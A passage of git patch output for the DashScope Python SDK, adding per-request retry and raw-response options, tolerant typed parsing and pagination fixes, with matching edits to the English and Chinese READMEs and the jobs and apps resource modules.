-fastmcp==3.1.1 #3.1.1 +fastmcp==3.2.0 sympy #1.14.0 anyio #4.13.0 diff --git a/tests/legacy_1x/unit/test_maas_region.py b/tests/legacy_1x/unit/test_maas_region.py index 081ebc65..4b3bc418 100644 --- a/tests/legacy_1x/unit/test_maas_region.py +++ b/tests/legacy_1x/unit/test_maas_region.py @@ -296,7 +296,7 @@ def test_generation_call_resolves_workspace(self): url = self._capture_request_url( lambda: Generation.call( - model="qwen3.8-32b", + model="qwen3-max", prompt="hi", workspace="ws-xyz", api_key="sk-test", @@ -313,7 +313,7 @@ def test_async_task_call_resolves_workspace(self): url = self._capture_request_url( lambda: ImageSynthesis.call( - model="qwen-image-3.0", + model="qwen-image", prompt="hi", workspace="ws-xyz", api_key="sk-test", @@ -332,7 +332,7 @@ def test_call_without_workspace_raises_clear_error(self): with patch.object(env_mod, "_default_workspace_id", None): with self.assertRaises(InputRequired) as ctx: Generation.call( - model="qwen3.8-32b", + model="qwen3-max", prompt="hi", api_key="sk-test", ) From d577809308fe9527bbe77bbfd228355ad9d6440a Mon Sep 17 00:00:00 2001 From: luk384090-cloud Date: Thu, 5 Nov 2026 09:50:44 +0800 Subject: [PATCH 12/26] feat(v2): extend typed parsing, per-request options, and pagination fixes to all resources MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - Extend fault-tolerant typed response parsing (parse_model) to every resource: apps, audio (asr/tts/customization/phrases), decision, deployments, fine_tunes, images, models, multimodal, reinforcement learning, rerank, tingwu, tokenization, and videos. Streamed frames and websocket results now degrade frame-by-frame instead of raising bare pydantic.ValidationError. - Expose max_retries as a per-request parameter on all resource methods, eliminating the need for a derived client to narrow retries for a single call. - Add raw=True support to all resource methods returning parsed models, allowing callers to obtain the raw APIResponse when needed. - Fix pagination traversal to advance from the request's page_no / page_size rather than the response echo, which may be missing or stale. BasePage.bind_pagination now accepts requested_page_no and requested_page_size. - Update request_options() to accept timeout and max_retries as keyword-only parameters. - Fix docs: correct pagination example (jobs.list → images.jobs.list), clarify streaming retry semantics and strict validation coverage. - Add comprehensive tests: per-request options forwarding for all resources, response drift coverage for every typed-parse surface, and pagination cursor correctness. --- README.md | 15 +- README_zh.md | 15 +- dashscope/resources/_jobs.py | 263 +++-- dashscope/resources/apps.py | 382 ++++++- dashscope/resources/audio/asr.py | 296 ++++- dashscope/resources/audio/customization.py | 958 +++++++++++++++- dashscope/resources/audio/http_tts.py | 168 ++- dashscope/resources/audio/phrases.py | 368 +++++- dashscope/resources/chat/completions.py | 160 ++- dashscope/resources/decision.py | 159 ++- dashscope/resources/deployments.py | 821 +++++++++++++- dashscope/resources/embeddings.py | 385 ++++++- dashscope/resources/files.py | 486 +++++++- dashscope/resources/fine_tunes.py | 1008 +++++++++++++++-- dashscope/resources/images.py | 526 ++++++++- dashscope/resources/models.py | 22 + dashscope/resources/multimodal/chat.py | 161 ++- dashscope/resources/multimodal/embeddings.py | 23 +- dashscope/resources/reinforcement_learning.py | 260 ++++- dashscope/resources/rerank.py | 200 +++- dashscope/resources/tingwu.py | 201 +++- dashscope/resources/tokenization.py | 190 +++- dashscope/resources/videos.py | 518 ++++++++- dashscope/transport/_options.py | 51 +- dashscope/types/pagination.py | 38 +- tests/test_pagination.py | 88 ++ tests/test_request_options.py | 27 + tests/test_resource_request_options.py | 670 +++++++++++ tests/test_response_drift.py | 472 ++++++++ 29 files changed, 8435 insertions(+), 496 deletions(-) diff --git a/README.md b/README.md index 8674a462..4824629f 100644 --- a/README.md +++ b/README.md @@ -200,7 +200,7 @@ for page in client.models.list(page_size=50).iter_pages(): # every page ... ``` -On `AsyncClient` use `await page.next_page_async()` and `async for page in page.iter_pages_async()`. Calling the synchronous traversal on an async-fetched page raises `TypeError` naming the async method, rather than handing back an un-awaited coroutine. `client.files.list()` and `client.jobs.list()` paginate the same way. +On `AsyncClient` use `await page.next_page_async()` and `async for page in page.iter_pages_async()`. Calling the synchronous traversal on an async-fetched page raises `TypeError` naming the async method, rather than handing back an un-awaited coroutine. `client.files.list()` and `client.images.jobs.list()` paginate the same way. Serialize a page with `model_dump()`. Iterating a page yields its *items*, so `dict(page)` is not a way to read its fields. @@ -236,7 +236,7 @@ from dashscope.resources.embeddings import EmbeddingResponse ### Per-request options -Every resource method takes the same three escape hatches, for anything this SDK does not model yet: +Every resource method that makes an HTTP request takes the same three escape hatches, for anything this SDK does not model yet: ```python client.chat.completions.create( @@ -250,7 +250,14 @@ client.chat.completions.create( `extra_headers` sits above every other layer — the SDK identity headers, the client defaults, your `headers=`, and a per-call `api_key=` / `workspace=` — matched case-insensitively. `extra_body` deep-merges nested dicts, so adding one nested field keeps its siblings; lists and scalars replace. A request whose body is not a JSON object (a file upload, raw bytes) has nothing to merge into, so `extra_body` is dropped with a warning rather than silently lost. -Retries stay a client-level setting; narrow them for a whole client with `client.with_options(max_retries=0)`. +`max_retries` narrows or widens the retry budget for a single call, so a request that must not be replayed no longer needs a whole derived client: + +```python +client.deployments.list(max_retries=0) # one attempt, no retry +client.with_options(max_retries=5) # still works, client-wide +``` + +Streaming methods take all four: `open_stream` retries only while no event has reached you yet, so a mid-stream failure is never replayed. The websocket methods (`audio.asr.recognize` / `recognize_file`, `tingwu.realtime`) take none of them — that transport has no per-request options channel, so a parameter there would be silently inert. ### Streaming @@ -364,7 +371,7 @@ The three `DASHSCOPE_HTTP_*` pool variables are also settable as `http_max_conne By default a response body that does not fit the SDK's typed models is parsed in degraded form — the offending fields fall back to their defaults and the rest of the payload stays usable — with the drift recorded at `DEBUG` on the `dashscope._logging.parse` logger. Set `DASHSCOPE_STRICT_VALIDATION=true` (or `Client(strict_validation=True)`, `settings.strict_validation = True`, `strict_validation = true` in `config.toml`) to raise `APIResponseValidationError` instead, which is what you want in CI or contract tests. Strict validation raises even under `raise_on_error=False`: that flag governs service errors, this one governs parse errors. -Two caveats. `DEBUG` is below the SDK's default log level, so a degraded parse is silent unless you raise it — see [Logging](#logging) — and `strict_validation` is the only way to make drift fail loudly. And the typed-parse path currently covers `chat.completions`, `models`, `files`, `jobs`, `images`, `embeddings` and `multimodal.embeddings`; the remaining surfaces (audio, fine-tuning, apps, decision, deployments, reinforcement learning, rerank, tokenization, tingwu) still construct their models directly and raise a plain `pydantic.ValidationError` on drift, ignoring both settings. +One caveat: `DEBUG` is below the SDK's default log level, so a degraded parse is silent unless you raise it — see [Logging](#logging) — and `strict_validation` is the only way to make drift fail loudly. The typed-parse path covers every resource, and not only the final response object: streamed frames (`apps`, `deployments.stream_events`, `fine_tunes.stream_events`, `audio.tts.http.stream`) and websocket results (`audio.asr`) degrade frame by frame as well, so one malformed event cannot break an iteration partway through with a `pydantic.ValidationError` that no `except DashScopeError` would catch. **Config file** (`~/.dashscope/config.toml`): diff --git a/README_zh.md b/README_zh.md index 93f0c41a..0f17d2dd 100644 --- a/README_zh.md +++ b/README_zh.md @@ -200,7 +200,7 @@ for page in client.models.list(page_size=50).iter_pages(): # 遍历所有页 ... ``` -`AsyncClient` 上请用 `await page.next_page_async()` 和 `async for page in page.iter_pages_async()`。对异步取回的页面调用同步翻页方法会抛出 `TypeError` 并指明该用哪个异步方法,而不是把一个未 await 的 coroutine 交给你。`client.files.list()` 和 `client.jobs.list()` 的分页方式相同。 +`AsyncClient` 上请用 `await page.next_page_async()` 和 `async for page in page.iter_pages_async()`。对异步取回的页面调用同步翻页方法会抛出 `TypeError` 并指明该用哪个异步方法,而不是把一个未 await 的 coroutine 交给你。`client.files.list()` 和 `client.images.jobs.list()` 的分页方式相同。 序列化页面请用 `model_dump()`。迭代页面对象得到的是它的**条目**,所以 `dict(page)` 不是读取字段的方式。 @@ -236,7 +236,7 @@ from dashscope.resources.embeddings import EmbeddingResponse ### 单次请求定制 -每个资源方法都接受同样的三个逃生舱,用于承载 SDK 尚未建模的东西: +所有发起 HTTP 请求的资源方法都接受同样的三个逃生舱,用于承载 SDK 尚未建模的东西: ```python client.chat.completions.create( @@ -250,7 +250,14 @@ client.chat.completions.create( `extra_headers` 位于所有其他层之上——SDK 身份头、客户端默认头、你的 `headers=`、以及单次调用的 `api_key=` / `workspace=`——且大小写不敏感匹配。`extra_body` 对嵌套 dict 做深合并,所以新增一个嵌套字段不会丢掉它的兄弟字段;列表和标量则是整体替换。若请求体不是 JSON 对象(文件上传、裸字节),就无处可合并,此时 `extra_body` 会被丢弃并告警,而不是静默丢失。 -重试仍是客户端级设置;要为整个客户端收窄,用 `client.with_options(max_retries=0)`。 +`max_retries` 为单次调用收窄或放宽重试预算,所以一个绝不能被重放的请求不再需要派生整个客户端: + +```python +client.deployments.list(max_retries=0) # 只打一次,不重试 +client.with_options(max_retries=5) # 依然有效,作用于整个客户端 +``` + +流式方法四个都接受:`open_stream` 只在还没有任何事件到达你之前重试,所以流中途的失败绝不会被重放。WebSocket 方法(`audio.asr.recognize` / `recognize_file`、`tingwu.realtime`)一个都不接受——那条传输链路根本没有单次请求的 options 通道,加了形参也只会被静默忽略。 ### 流式 @@ -364,7 +371,7 @@ dashscope.settings.log_level = "INFO" 默认情况下,若响应体与 SDK 的类型模型不符,会走降级解析——出问题的字段回退到各自的默认值,报文中其余部分照常可用——同时把漂移以 `DEBUG` 级别记录到 `dashscope._logging.parse` 这个 logger。设置 `DASHSCOPE_STRICT_VALIDATION=true`(或 `Client(strict_validation=True)`、`settings.strict_validation = True`、`config.toml` 里的 `strict_validation = true`)则改为抛出 `APIResponseValidationError`,这正是 CI 或契约测试想要的行为。严格校验即使在 `raise_on_error=False` 下也会抛错:那个开关管的是服务端错误,这个管的是解析错误。 -两点需要注意。其一,`DEBUG` 低于 SDK 的默认日志级别,所以除非你调高它(见[日志](#日志)),降级解析是无声的——而 `strict_validation` 是让漂移大声失败的唯一手段。其二,类型化解析路径目前覆盖 `chat.completions`、`models`、`files`、`jobs`、`images`、`embeddings` 和 `multimodal.embeddings`;其余接口(语音、微调、应用、决策、部署、强化学习、重排、Token 计数、听悟)仍是直接构造模型,遇到漂移会抛出原始的 `pydantic.ValidationError`,两个开关都不生效。 +一点需要注意:`DEBUG` 低于 SDK 的默认日志级别,所以除非你调高它(见[日志](#日志)),降级解析是无声的——而 `strict_validation` 是让漂移大声失败的唯一手段。类型化解析路径覆盖全部资源,且不止最终的响应对象:流式帧(`apps`、`deployments.stream_events`、`fine_tunes.stream_events`、`audio.tts.http.stream`)和 WebSocket 结果(`audio.asr`)同样逐帧降级,因此单个畸形事件不会在迭代中途抛出 `except DashScopeError` 抓不到的 `pydantic.ValidationError`。 **配置文件**(`~/.dashscope/config.toml`): diff --git a/dashscope/resources/_jobs.py b/dashscope/resources/_jobs.py index 3d27af41..f99b089c 100644 --- a/dashscope/resources/_jobs.py +++ b/dashscope/resources/_jobs.py @@ -23,6 +23,7 @@ Mapping, Optional, Union, + cast, ) from pydantic import ( @@ -35,7 +36,6 @@ from dashscope.errors import ( DashScopeError, - check_response, error_from_business_code, response_json, ) @@ -53,6 +53,8 @@ if TYPE_CHECKING: import httpx + from dashscope.transport._response import APIResponse + __all__ = [ "AsyncJobs", "CANCELED", @@ -328,7 +330,15 @@ def _list_params( class Jobs: - """Sync async-task helper for one service (images, videos, ...).""" + """Sync async-task helper for one service (images, videos, ...). + + ``raw`` is a plain ``bool`` here, not a ``Literal`` overload pair: this + class is only ever held in a resource's private attribute, and every + public ``.jobs`` wrapper (``ImageJobs``, ``VideoJobs``, ``EmbeddingJobs``, + ``TranscriptionJobs``) carries the overloads that give callers a precise + return type. Overloading this one instead would leave the wrappers unable + to forward a ``raw`` they only know at runtime. + """ def __init__( self, @@ -360,8 +370,15 @@ def create( # pylint: disable=redefined-builtin extra_headers: Optional[Mapping[str, str]] = None, extra_query: Optional[Mapping[str, Any]] = None, extra_body: Optional[Mapping[str, Any]] = None, - ) -> Job: - """Submit a task; returns immediately with a PENDING/RUNNING Job.""" + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Job, "APIResponse"]: + """Submit a task; returns immediately with a PENDING/RUNNING Job. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. + """ body: Dict[str, Any] = {"model": model, "input": input} if parameters is not None: body["parameters"] = parameters @@ -370,7 +387,7 @@ def create( # pylint: disable=redefined-builtin submit_headers = dict(ASYNC_HEADER) if headers: submit_headers.update(headers) - response = self._client.transport.request( + resp = self._client.transport.request_api( "POST", self.submit_path, json=body, @@ -383,10 +400,14 @@ def create( # pylint: disable=redefined-builtin extra_headers, extra_query, extra_body, + max_retries=max_retries, ), + client=self._client, ) - check_response(response, raise_on_error=self._client.raise_on_error) - return self._parse(response) + if raw: + return resp + resp.raise_for_status() + return self._parse(resp.http_response) def fetch( self, @@ -398,9 +419,17 @@ def fetch( extra_headers: Optional[Mapping[str, str]] = None, extra_query: Optional[Mapping[str, Any]] = None, extra_body: Optional[Mapping[str, Any]] = None, - ) -> Job: - """Fetch one task snapshot; raises on FAILED status.""" - response = self._client.transport.request( + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Job, "APIResponse"]: + """Fetch one task snapshot; raises on FAILED status. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. It also skips the + FAILED-status raise, which belongs to the parsed :class:`Job`. + """ + resp = self._client.transport.request_api( "GET", f"/tasks/{task_id}", timeout=timeout, @@ -411,10 +440,14 @@ def fetch( extra_headers, extra_query, extra_body, + max_retries=max_retries, ), + client=self._client, ) - check_response(response, raise_on_error=self._client.raise_on_error) - return self._parse(response) + if raw: + return resp + resp.raise_for_status() + return self._parse(resp.http_response) def cancel( self, @@ -426,9 +459,16 @@ def cancel( extra_headers: Optional[Mapping[str, str]] = None, extra_query: Optional[Mapping[str, Any]] = None, extra_body: Optional[Mapping[str, Any]] = None, - ) -> Job: - """Cancel a PENDING task (1.x: ``POST /tasks/{task_id}/cancel``).""" - response = self._client.transport.request( + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Job, "APIResponse"]: + """Cancel a PENDING task (1.x: ``POST /tasks/{task_id}/cancel``). + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. + """ + resp = self._client.transport.request_api( "POST", f"/tasks/{task_id}/cancel", timeout=timeout, @@ -439,10 +479,14 @@ def cancel( extra_headers, extra_query, extra_body, + max_retries=max_retries, ), + client=self._client, ) - check_response(response, raise_on_error=self._client.raise_on_error) - return self._parse(response) + if raw: + return resp + resp.raise_for_status() + return self._parse(resp.http_response) def list( # pylint: disable=redefined-builtin self, @@ -461,9 +505,18 @@ def list( # pylint: disable=redefined-builtin extra_headers: Optional[Mapping[str, str]] = None, extra_query: Optional[Mapping[str, Any]] = None, extra_body: Optional[Mapping[str, Any]] = None, - ) -> JobList: - """List async tasks (1.x: ``GET /tasks`` with page_no/page_size).""" - response = self._client.transport.request( + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[JobList, "APIResponse"]: + """List async tasks (1.x: ``GET /tasks`` with page_no/page_size). + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. Such a response + carries no pagination callback; use ``next_page()`` on a parsed + :class:`JobList` to walk the catalog. + """ + resp = self._client.transport.request_api( "GET", "/tasks", params=_list_params( @@ -484,13 +537,17 @@ def list( # pylint: disable=redefined-builtin extra_headers, extra_query, extra_body, + max_retries=max_retries, ), + client=self._client, ) - check_response(response, raise_on_error=self._client.raise_on_error) + if raw: + return resp + resp.raise_for_status() result = JobList.from_payload( - response_json(response), + resp.json(), strict=self._client.config.strict_validation, - response=response, + response=resp.http_response, ) result.bind_pagination( lambda next_no, next_size: self.list( @@ -508,9 +565,12 @@ def list( # pylint: disable=redefined-builtin extra_headers=extra_headers, extra_query=extra_query, extra_body=extra_body, + max_retries=max_retries, ), + requested_page_no=page_no, + requested_page_size=page_size, ) - return with_headers(result, response) + return with_headers(result, resp.http_response) def wait( self, @@ -524,6 +584,7 @@ def wait( extra_headers: Optional[Mapping[str, str]] = None, extra_query: Optional[Mapping[str, Any]] = None, extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, _sleep: Optional[Callable[[float], Any]] = None, ) -> Job: """Poll with exponential backoff until the task finishes. @@ -543,16 +604,23 @@ def wait( task_id = job.task_id if isinstance(job, Job) else job sleep_fn = _sleep or time.sleep deadline = time.monotonic() + timeout - current = ( + # ``wait`` never sets ``raw``, so every ``fetch`` below is a Job. + # ``fetch``'s declared return is the wider union only because it also + # serves the raw escape hatch. + current: Job = ( job if isinstance(job, Job) - else self.fetch( - task_id, - api_key=api_key, - workspace=workspace, - extra_headers=extra_headers, - extra_query=extra_query, - extra_body=extra_body, + else cast( + Job, + self.fetch( + task_id, + api_key=api_key, + workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + ), ) ) interval = poll_interval @@ -569,13 +637,17 @@ def wait( ) sleep_fn(min(interval, remaining)) interval = min(interval * 2, max_interval) - current = self.fetch( - task_id, - api_key=api_key, - workspace=workspace, - extra_headers=extra_headers, - extra_query=extra_query, - extra_body=extra_body, + current = cast( + Job, + self.fetch( + task_id, + api_key=api_key, + workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + ), ) return self._check_canceled(current) @@ -608,7 +680,10 @@ def _check_canceled(self, job: Job) -> Job: class AsyncJobs: - """Async async-task helper for one service (images, videos, ...).""" + """Async async-task helper for one service (images, videos, ...). + + ``raw`` is a plain ``bool`` here for the reason given on :class:`Jobs`. + """ def __init__( self, @@ -638,7 +713,10 @@ async def create( # pylint: disable=redefined-builtin extra_headers: Optional[Mapping[str, str]] = None, extra_query: Optional[Mapping[str, Any]] = None, extra_body: Optional[Mapping[str, Any]] = None, - ) -> Job: + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Job, "APIResponse"]: + """Async twin of :meth:`Jobs.create`.""" body: Dict[str, Any] = {"model": model, "input": input} if parameters is not None: body["parameters"] = parameters @@ -647,7 +725,7 @@ async def create( # pylint: disable=redefined-builtin submit_headers = dict(ASYNC_HEADER) if headers: submit_headers.update(headers) - response = await self._client.transport.request( + resp = await self._client.transport.request_api( "POST", self.submit_path, json=body, @@ -660,10 +738,14 @@ async def create( # pylint: disable=redefined-builtin extra_headers, extra_query, extra_body, + max_retries=max_retries, ), + client=self._client, ) - check_response(response, raise_on_error=self._client.raise_on_error) - return self._parse(response) + if raw: + return resp + resp.raise_for_status() + return self._parse(resp.http_response) async def fetch( self, @@ -675,8 +757,11 @@ async def fetch( extra_headers: Optional[Mapping[str, str]] = None, extra_query: Optional[Mapping[str, Any]] = None, extra_body: Optional[Mapping[str, Any]] = None, - ) -> Job: - response = await self._client.transport.request( + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Job, "APIResponse"]: + """Async twin of :meth:`Jobs.fetch`.""" + resp = await self._client.transport.request_api( "GET", f"/tasks/{task_id}", timeout=timeout, @@ -687,10 +772,14 @@ async def fetch( extra_headers, extra_query, extra_body, + max_retries=max_retries, ), + client=self._client, ) - check_response(response, raise_on_error=self._client.raise_on_error) - return self._parse(response) + if raw: + return resp + resp.raise_for_status() + return self._parse(resp.http_response) async def cancel( self, @@ -702,9 +791,11 @@ async def cancel( extra_headers: Optional[Mapping[str, str]] = None, extra_query: Optional[Mapping[str, Any]] = None, extra_body: Optional[Mapping[str, Any]] = None, - ) -> Job: - """Cancel a PENDING task (1.x: ``POST /tasks/{task_id}/cancel``).""" - response = await self._client.transport.request( + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Job, "APIResponse"]: + """Async twin of :meth:`Jobs.cancel`.""" + resp = await self._client.transport.request_api( "POST", f"/tasks/{task_id}/cancel", timeout=timeout, @@ -715,10 +806,14 @@ async def cancel( extra_headers, extra_query, extra_body, + max_retries=max_retries, ), + client=self._client, ) - check_response(response, raise_on_error=self._client.raise_on_error) - return self._parse(response) + if raw: + return resp + resp.raise_for_status() + return self._parse(resp.http_response) async def list( # pylint: disable=redefined-builtin self, @@ -737,9 +832,11 @@ async def list( # pylint: disable=redefined-builtin extra_headers: Optional[Mapping[str, str]] = None, extra_query: Optional[Mapping[str, Any]] = None, extra_body: Optional[Mapping[str, Any]] = None, - ) -> JobList: - """List async tasks (1.x: ``GET /tasks`` with page_no/page_size).""" - response = await self._client.transport.request( + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[JobList, "APIResponse"]: + """Async twin of :meth:`Jobs.list`.""" + resp = await self._client.transport.request_api( "GET", "/tasks", params=_list_params( @@ -760,13 +857,17 @@ async def list( # pylint: disable=redefined-builtin extra_headers, extra_query, extra_body, + max_retries=max_retries, ), + client=self._client, ) - check_response(response, raise_on_error=self._client.raise_on_error) + if raw: + return resp + resp.raise_for_status() result = JobList.from_payload( - response_json(response), + resp.json(), strict=self._client.config.strict_validation, - response=response, + response=resp.http_response, ) result.bind_pagination( lambda next_no, next_size: self.list( @@ -784,9 +885,12 @@ async def list( # pylint: disable=redefined-builtin extra_headers=extra_headers, extra_query=extra_query, extra_body=extra_body, + max_retries=max_retries, ), + requested_page_no=page_no, + requested_page_size=page_size, ) - return with_headers(result, response) + return with_headers(result, resp.http_response) async def wait( self, @@ -800,22 +904,27 @@ async def wait( extra_headers: Optional[Mapping[str, str]] = None, extra_query: Optional[Mapping[str, Any]] = None, extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, _sleep: Optional[Callable[[float], Awaitable[None]]] = None, ) -> Job: """Async twin of :meth:`Jobs.wait`, same compat-mode contract.""" task_id = job.task_id if isinstance(job, Job) else job sleep_fn = _sleep or asyncio.sleep deadline = time.monotonic() + timeout - current = ( + current: Job = ( job if isinstance(job, Job) - else await self.fetch( - task_id, - api_key=api_key, - workspace=workspace, - extra_headers=extra_headers, - extra_query=extra_query, - extra_body=extra_body, + else cast( + Job, + await self.fetch( + task_id, + api_key=api_key, + workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + ), ) ) interval = poll_interval @@ -832,13 +941,17 @@ async def wait( ) await sleep_fn(min(interval, remaining)) interval = min(interval * 2, max_interval) - current = await self.fetch( - task_id, - api_key=api_key, - workspace=workspace, - extra_headers=extra_headers, - extra_query=extra_query, - extra_body=extra_body, + current = cast( + Job, + await self.fetch( + task_id, + api_key=api_key, + workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + ), ) return self._check_canceled(current) diff --git a/dashscope/resources/apps.py b/dashscope/resources/apps.py index 422ec276..48c5f0fc 100644 --- a/dashscope/resources/apps.py +++ b/dashscope/resources/apps.py @@ -12,22 +12,24 @@ import copy import json from typing import ( + TYPE_CHECKING, Any, AsyncIterator, Dict, Iterator, List, + Literal, + Mapping, Optional, Union, + overload, ) from pydantic import BaseModel, ConfigDict -from dashscope.errors import ( - check_response, - error_from_business_code, - response_json, -) +from dashscope.errors import error_from_business_code +from dashscope.transport._options import request_options +from dashscope.types._parse import parse_model from dashscope.types.common import ( ResponseBase, Usage, @@ -35,6 +37,11 @@ with_headers, ) +if TYPE_CHECKING: + import httpx + + from dashscope.transport._response import APIResponse + __all__ = [ "AppCompletion", "AppCompletions", @@ -133,11 +140,21 @@ class AppCompletion(ResponseBase): usage: Optional[AppUsage] = None -def _parse(body: Dict[str, Any]) -> AppCompletion: +def _parse( + body: Dict[str, Any], + *, + strict: bool = False, + response: Optional["httpx.Response"] = None, +) -> AppCompletion: # An SSE frame is not guaranteed to be JSON; _try_json hands back the raw # string in that case. payload = flatten_envelope(body) if isinstance(body, dict) else {} - return AppCompletion(**payload) + return parse_model( + AppCompletion, + payload, + strict=strict, + response=response, + ) def _try_json(data: str) -> Any: @@ -291,16 +308,29 @@ def _raise_frame_error(data: str) -> None: ) -def _error_event(data: str) -> AppCompletion: +def _error_event( + data: str, + *, + strict: bool = False, + response: Optional["httpx.Response"] = None, +) -> AppCompletion: # Non-raising mode: surface the stream error as a terminal event - # instead of silently truncating the stream. + # instead of silently truncating the stream. Built from a wire frame, + # so it degrades like any other parse -- raising here would replace a + # reported service error with an uncatchable schema error. body = _try_json(data) payload = body if isinstance(body, dict) else {} - return AppCompletion( - request_id=payload.get("request_id"), - code=payload.get("code"), - message=payload.get("message") or (None if payload else str(body)), - is_error=True, + return parse_model( + AppCompletion, + { + "request_id": payload.get("request_id"), + "code": payload.get("code"), + "message": payload.get("message") + or (None if payload else str(body)), + "is_error": True, + }, + strict=strict, + response=response, ) @@ -365,6 +395,108 @@ class AppCompletions: def __init__(self, client) -> None: self._client = client + @overload + def create( + self, + *, + app_id: str, + prompt: Optional[str] = None, + messages: Optional[List[Dict[str, Any]]] = None, + stream: Literal[True], + session_id: Optional[str] = None, + biz_params: Optional[Dict[str, Any]] = None, + has_thoughts: Optional[bool] = None, + doc_tag_codes: Optional[List[str]] = None, + doc_reference_type: Optional[str] = None, + memory_id: Optional[str] = None, + image_list: Optional[List[str]] = None, + file_list: Optional[List[str]] = None, + rag_options: Optional[Dict[str, Any]] = None, + incremental_output: Optional[bool] = None, + temperature: Optional[float] = None, + top_p: Optional[float] = None, + top_k: Optional[int] = None, + seed: Optional[int] = None, + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, + ) -> AppStream: + ... + + @overload + def create( + self, + *, + app_id: str, + prompt: Optional[str] = None, + messages: Optional[List[Dict[str, Any]]] = None, + stream: Literal[False] = False, + session_id: Optional[str] = None, + biz_params: Optional[Dict[str, Any]] = None, + has_thoughts: Optional[bool] = None, + doc_tag_codes: Optional[List[str]] = None, + doc_reference_type: Optional[str] = None, + memory_id: Optional[str] = None, + image_list: Optional[List[str]] = None, + file_list: Optional[List[str]] = None, + rag_options: Optional[Dict[str, Any]] = None, + incremental_output: Optional[bool] = None, + temperature: Optional[float] = None, + top_p: Optional[float] = None, + top_k: Optional[int] = None, + seed: Optional[int] = None, + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, + ) -> AppCompletion: + ... + + @overload + def create( + self, + *, + app_id: str, + prompt: Optional[str] = None, + messages: Optional[List[Dict[str, Any]]] = None, + stream: Literal[False] = False, + session_id: Optional[str] = None, + biz_params: Optional[Dict[str, Any]] = None, + has_thoughts: Optional[bool] = None, + doc_tag_codes: Optional[List[str]] = None, + doc_reference_type: Optional[str] = None, + memory_id: Optional[str] = None, + image_list: Optional[List[str]] = None, + file_list: Optional[List[str]] = None, + rag_options: Optional[Dict[str, Any]] = None, + incremental_output: Optional[bool] = None, + temperature: Optional[float] = None, + top_p: Optional[float] = None, + top_k: Optional[int] = None, + seed: Optional[int] = None, + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + def create( # pylint: disable=too-many-locals self, *, @@ -390,7 +522,12 @@ def create( # pylint: disable=too-many-locals timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, - ) -> Union[AppCompletion, AppStream]: + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[AppCompletion, AppStream, "APIResponse"]: """Call the application; ``stream=True`` returns an AppStream. Send ``prompt`` for one turn, ``messages`` for a transcript the @@ -401,8 +538,14 @@ def create( # pylint: disable=too-many-locals ``biz_params`` carries the application's own flow and plugin inputs; ``parameters`` holds model knobs and anything this signature does not name. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. """ _validate(app_id, prompt, messages) + if raw and stream: + raise ValueError("raw=True is not supported with stream=True") body = _build_body( prompt, messages, @@ -434,9 +577,15 @@ def create( # pylint: disable=too-many-locals timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), ) return AppStream(self._events(response), response) - response = transport.request( + resp = transport.request_api( "POST", path, json=body, @@ -444,19 +593,49 @@ def create( # pylint: disable=too-many-locals timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, + ) + if raw: + return resp + resp.raise_for_status() + return with_headers( + _parse( + resp.json(), + strict=self._client.config.strict_validation, + response=resp.http_response, + ), + resp.http_response, ) - check_response(response, raise_on_error=self._client.raise_on_error) - return with_headers(_parse(response_json(response)), response) def _events(self, response) -> Iterator[AppCompletion]: + # Snapshotted once per stream: a flag flipped mid-flight should not + # change how the frames already being delivered are parsed. + strict = self._client.config.strict_validation try: for is_error, data in _sse_frames(response): if is_error: if self._client.raise_on_error: 